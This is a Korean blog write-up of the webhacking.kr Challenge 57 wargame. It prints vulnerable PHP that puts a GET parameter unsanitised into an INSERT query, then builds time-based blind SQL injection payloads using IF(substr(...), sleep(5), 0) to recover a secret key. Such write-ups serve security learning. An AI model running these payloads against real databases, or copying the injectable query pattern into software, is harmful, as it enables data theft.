본문 바로가기

WarGame/webhacking.kr

[webhacking.kr] Challenge 57 :: Time-Based Blind SQL Injection


Challenge 57은 다음과 같습니다.



해당 PHP 소스는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?
$secret_key="????";
 
if(time()>1309064400exit("오후 2시에 공개됩니다.");
 
if($_POST[pw])
{
    if($_POST[pw]==$secret_key)
    {
        mysql_query("delete from challenge57msg");
        @solve();
        exit();
    }
}
 
if($_GET[msg] && $_GET[se])
{
    if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");
 
    mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
    echo("Done<br><br>");
}
?>
cs


먼저 8번 라인에서 pw 파라미터, 즉 Secret Key 입력폼에 정답을 전송하면 문제가 풀리게 됩니다. 16번 라인에서 msg와 se 파라미터를 GET 방식으로 전달하면 se 파라미터의 값을 필터링하고 20번 라인과 같은 INSERT 구문에 본인 ID와 "$secret_key"값이 더해져서 들어가게 됩니다. 그리고 "Done"이라는 문자열을 출력합니다. echo("Done")에 다른 제약조건이 달려있지 않은 것을 보니 SQL Query의 성공여부와 상관없이 "Done" 문자열을 출력하고 있습니다.


오랜만에 White Box 방식의 문제를 접하니 굉장히 쉽게 느껴졌습니다. Injection Vector도 한눈에 알아볼 수 있었습니다. "se" 파라미터가 SQL에서 INT 형으로 들어가는 것을 보니 이곳이 Vector가 되겠습니다.


해당 문제는 SELECT 구문을 받아서 별도의 값을 출력하는 구문이 없습니다. "Done"이라는 문자열도 SQL Query의 성공여부와 상관없이 출력됨으로 이 것은 아무 의미가 없는 문자열 입니다. 그렇기 때문에 다음과 같은 Blind SQL Injection 방식으로는 True & False를 예측할 수 없습니다.


1
INSERT INTO challenge57msg(id,msg,pw,op) VALUES ('juun''test''test_pw', substr(pw,1,1)=0x61);
cs


그렇기 때문에 Time-Based Blind SQL Injection 방식으로 해결해야 합니다.

자세한 설명 해당 블로그에서 참고하시기 바랍니다. (http://www.sqlinjection.net/time-based/)


위 내용을 참고하여 sleep() 함수를 이용하여 다음과 같은 Query를 만들 수 있습니다.


1
INSERT INTO challenge57msg(id,msg,pw,op) VALUES ('juun''test''test_pw', substr(pw,1,1)=0x61-sleep(5));
cs


그러나 위와 같이 Query를 날리면, substr() 이하 절이 True 이든, False 이든 항상 5초 뒤에 Query가 실행되는 것을 확인 할 수 있습니다. 그렇기 때문에 다음과 같이 MySQL의 IF() 함수를 사용해야 합니다.


1
INSERT INTO challenge57msg(id,msg,pw,op) VALUES ('juun''test''test_pw'IF(substr(pw,1,1)=0x61, sleep(5), 0));
cs


 

  IF( condition, when_true, when_false ) : "condition" 절이 True이면 "when_true" 구문을 실행하고, False이면 "when_false

  구문을 실행



위와 같이 입력하면 조건에 따라 True 일 때만 sleep() 함수를 실행하므로 pw 값을 추측할 수 있습니다. 본격적인 Blind 공격을 시행하기 전에 length()함수를 이용하여 pw의 길이를 먼저 알아내는 것이 편리할 것 입니다.